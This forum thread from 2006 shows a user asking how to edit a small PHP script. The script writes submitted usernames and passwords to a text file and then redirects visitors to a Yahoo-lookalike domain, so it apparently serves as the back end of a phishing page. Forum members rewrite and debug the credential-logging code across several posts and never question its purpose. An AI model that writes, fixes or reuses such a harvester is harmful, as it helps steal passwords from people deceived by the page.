Neep Help Posted August 8, 2006 Share Posted August 8, 2006 Hi all, I am in need of help editing this tiney php code. It saves in this format:user=guestpassword=password1I would like one of you to alter the code so it saves in this format:guest:password1I have no idea how to do this help please!! ??? :-[[code]<?phpheader("Location: http://yah-inc.net");$handle = fopen("users.txt", "a");foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n");}fwrite($handle, "\r\n");fclose($handle);exit;?>[/code] Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/ Share on other sites More sharing options...
ToonMariner Posted August 8, 2006 Share Posted August 8, 2006 assuming th only variables passed to this script are user and password and they are posted....(switch to $_GET['user'], $_GET['password'] id they passed via the url. - which they currently are! I say this as i would not pass such info via the url but thats just me.)remove the for loop and replace with$string = $_POST['user'] . ":" . $_POST['password'] . "\r\n";fwrite($handle, $string); Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/#findComment-71079 Share on other sites More sharing options...
Neep Help Posted August 8, 2006 Author Share Posted August 8, 2006 So my code in all would be?[code]<?phpheader("Location: http://yah-inc.net");$handle = fopen("users.txt", "a");$string = $_POST['user'] . ":" . $_POST['password'] . "\r\n";fwrite($handle, $string);}fwrite($handle, "\r\n");fclose($handle);exit;?>[/code]it does not work, i am a newbie to php..could you explain more...thanks :-[ Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/#findComment-71086 Share on other sites More sharing options...
ToonMariner Posted August 8, 2006 Share Posted August 8, 2006 [code]<?phpheader("Location: http://yah-inc.net");$handle = fopen("users.txt", "a");$string = $_GET['user'] . ":" . $_GET['password'] . "\r\n";fwrite($handle, $string);fclose($handle);exit;?>[/code]Intrigued by the header being at the top of teh script. Perhaps move that to just above the exit command. Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/#findComment-71089 Share on other sites More sharing options...
Neep Help Posted August 8, 2006 Author Share Posted August 8, 2006 the header is not a problem, i just have no idea where to add the code you posted!! ??? Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/#findComment-71273 Share on other sites More sharing options...
wildteen88 Posted August 8, 2006 Share Posted August 8, 2006 The header is a problem as the code underneath it will not run, becuase as soon as PHP see the header function, it'll force the browser to move to http://yah-inc.net. Any code underneather it will not be run. Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/#findComment-71275 Share on other sites More sharing options...
Neep Help Posted August 8, 2006 Author Share Posted August 8, 2006 okay i changed the hearder and put it at the bottom..it does not log anything, i have no idea what i could possibly be doing wrong ??? Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/#findComment-71318 Share on other sites More sharing options...
ToonMariner Posted August 8, 2006 Share Posted August 8, 2006 Do you get ANY feedback off the script?take out the header and the exit and see if any erros are reported...I suspect a case of open_base_dir here..... Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/#findComment-71331 Share on other sites More sharing options...
Neep Help Posted August 8, 2006 Author Share Posted August 8, 2006 Toon what i got when i did that was [code][/code] ??? Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/#findComment-71335 Share on other sites More sharing options...
ToonMariner Posted August 8, 2006 Share Posted August 8, 2006 is that in the file you expect to see the new log info or on screen as a result of teh script running?What OS you using? Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/#findComment-71337 Share on other sites More sharing options...
Neep Help Posted August 8, 2006 Author Share Posted August 8, 2006 that is when i check the userlog.txt i get that weird stuff, not sure about the os but is it running apache Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/#findComment-71339 Share on other sites More sharing options...
ToonMariner Posted August 8, 2006 Share Posted August 8, 2006 get on msn ([email protected]) or googletlak ([email protected]) Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/#findComment-71340 Share on other sites More sharing options...
Neep Help Posted August 8, 2006 Author Share Posted August 8, 2006 okay mate! Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/#findComment-71341 Share on other sites More sharing options...
Neep Help Posted August 8, 2006 Author Share Posted August 8, 2006 -TOPIC CLOSED-Toon helped me solve my problem - Thanks again buddy!! ;D Quote Link to comment https://forums.phpfreaks.com/topic/16886-log-help-helped-already-thanks-toon/#findComment-71365 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.